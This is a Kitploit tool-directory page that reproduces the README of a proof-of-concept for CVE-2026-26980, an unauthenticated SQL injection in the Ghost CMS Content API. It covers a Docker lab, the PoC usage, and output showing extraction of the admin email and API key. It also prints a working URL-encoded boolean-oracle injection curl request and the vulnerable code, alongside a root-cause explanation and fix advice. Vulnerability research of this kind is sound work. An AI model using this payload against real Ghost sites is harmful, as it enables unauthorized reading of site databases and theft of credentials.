Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-26980 — Ghost Content API SQL Injection | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-26980
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubeqstlab/cve-2026-26980

CVE-2026-26980

Ghost Content API SQL Injection

View Repository
322 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-26980

★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★

https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c


Overview

CVE-2026-26980 is an unauthenticated SQL Injection vulnerability in TryGhost Ghost CMS Content API. The vulnerable path is reachable through the public Content API filter handling logic when slug:[...] ordering is processed.

This PoC builds a controlled Ghost 6.19.0 lab and demonstrates how a public Content API request can be turned into a boolean-based database read primitive.


Affected Versions

ProductAffected VersionFixed VersionVulnerability Type
TryGhost Ghost CMS>= 3.24.0, < 6.19.16.19.1SQL Injection

The lab environment uses Ghost 6.19.0.


Lab Setup

Build and run the vulnerable Ghost CMS environment using Docker:

root@kitploit:~
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980

Example:

root@kitploit:~
http://127.0.0.1:9102/
image

The lab runs a real vulnerable Ghost 6.19.0 instance on port 9102.

The lab Content API key is:

root@kitploit:~
EQSTLab299

Description

CVE-2026-26980 : TryGhost Ghost CMS Content API SQL Injection vulnerability

description: A SQL injection vulnerability in TryGhost Ghost CMS before 6.19.1 allows an unauthenticated attacker with access to a public Content API key to read arbitrary database values through the Content API filter parameter. The issue occurs in the slug:[...] filter ordering path, where user-controlled slug values are inserted into raw SQL without proper parameter binding.

Ghost Content API keys are commonly exposed to browsers by design through themes, search, portal, or frontend JavaScript. This means the vulnerable path can be reachable without Ghost Admin authentication.


How to use

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980

Command

root@kitploit:~
python3 poc.py --url [Target]

Optional custom Content API key:

root@kitploit:~
python3 poc.py --url [Target] --key [Content API Key]

Example

root@kitploit:~
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299

[Target] example: http://127.0.0.1:9102

Output

root@kitploit:~
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target:                      [Target]
API Key:                     [Content API Key]
Endpoint:                    Content API (public, no auth)

[*] Calibrating oracle... OK

[*] Phase 1: Recon (fast checks)
  length(users.email) = 17
  length(users.password) = 60
  count(settings) (3 chars): 110
  count(users) (1 chars): 1
  count(api_keys) (1 chars): 9

[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>

[*] Phase 3: DB snapshot
Result:                      DB read primitive confirmed

The public PoC demonstrates database read impact by extracting lab-safe database metadata and Ghost API key material. It does not print the challenge flag.


Analysis

Vulnerable Point

root@kitploit:~
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]

The vulnerable logic exists in Ghost's Content API input serialization path for slug:[...] filters. Ghost supports list-style slug filters and preserves the requested slug order by generating an ORDER BY CASE expression.

In vulnerable versions, user-controlled slug values are inserted into an SQL fragment. A simplified vulnerable pattern is:

root@kitploit:~
for (const [index, slug] of slugs.entries()) {
    order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}

Because slug is attacker-controlled and is inserted into the SQL string without parameter binding, a crafted Content API filter can break out of the intended comparison and inject additional SQL logic.

Exploit Logic

The lab PoC uses two public tags, bacon and chorizo, as an observable boolean oracle.

  • If the injected SQL condition is true, bacon is sorted first.
  • If the injected SQL condition is false, chorizo is sorted first.

By repeating this test with different SQL conditions, the PoC can infer database values one character at a time.

Boolean oracle check with curl:

root@kitploit:~
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"

Root Cause

The root cause is unsafe construction of an SQL ORDER BY CASE fragment from user-controlled slug values. The vulnerable code attempts to preserve Content API response order, but it treats parsed NQL filter values as trusted SQL text.

A robust fix must:

  • avoid interpolating user-controlled slug values into SQL strings
  • use parameter binding for each slug value
  • preserve ordering without converting filter values into raw SQL
  • keep NQL parsing separate from SQL construction

Ghost fixed this issue in 6.19.1 by replacing raw interpolation with parameterized query bindings.

Impact

This is a CWE-89: Improper Neutralization of Special Elements used in an SQL Command issue.

Because the Ghost Content API is intentionally public, this vulnerability can allow an unauthenticated attacker to create a database read primitive through a public content endpoint. Depending on the database contents and permissions, an attacker may be able to:

  • enumerate database table metadata
  • read site configuration values
  • read user table fields
  • read API key records
  • extract private application data stored in the Ghost database

Scenario

root@kitploit:~
+-------------------------------------------+
|              Remote Attacker              |
+-------------------------------------------+
                      |
                      | GET /ghost/api/content/tags/
                      | filter = slug:[<SQLi payload>,chorizo,bacon]
                      v
+-------------------------------------------+
|          Ghost Public Content API          |
+-------------------------------------------+
                      |
                      | Unsafe slug order SQL construction
                      v
+-------------------------------------------+
|        ORDER BY CASE SQL Injection         |
+-------------------------------------------+
                      |
                      | Boolean difference in tag ordering
                      v
+-------------------------------------------+
|          Unauthenticated DB Read           |
+-------------------------------------------+

Lab Notes

This lab runs a real vulnerable Ghost 6.19.0 instance rather than a minimal mock server.

The lab seeds:

  • a public Content API key: EQSTLab299
  • two oracle tags: bacon, chorizo
  • EQST Lab branding and sample blog content
  • a disposable private challenge value in the Ghost SQLite database

The public poc.py is designed for demonstration videos and public writeups. It shows the SQL injection impact without printing the challenge flag.


Cleanup

root@kitploit:~
docker stop cve-2026-26980

Disclaimer

This repository is not intended to be SQL Injection exploit to CVE-2026-26980. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.


References

https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97

https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91

https://github.com/TryGhost/Ghost/releases/tag/v6.19.1

https://nvd.nist.gov/vuln/detail/CVE-2026-26980

https://osv.dev/vulnerability/CVE-2026-26980

https://github.com/TryGhost/Ghost

Download Tool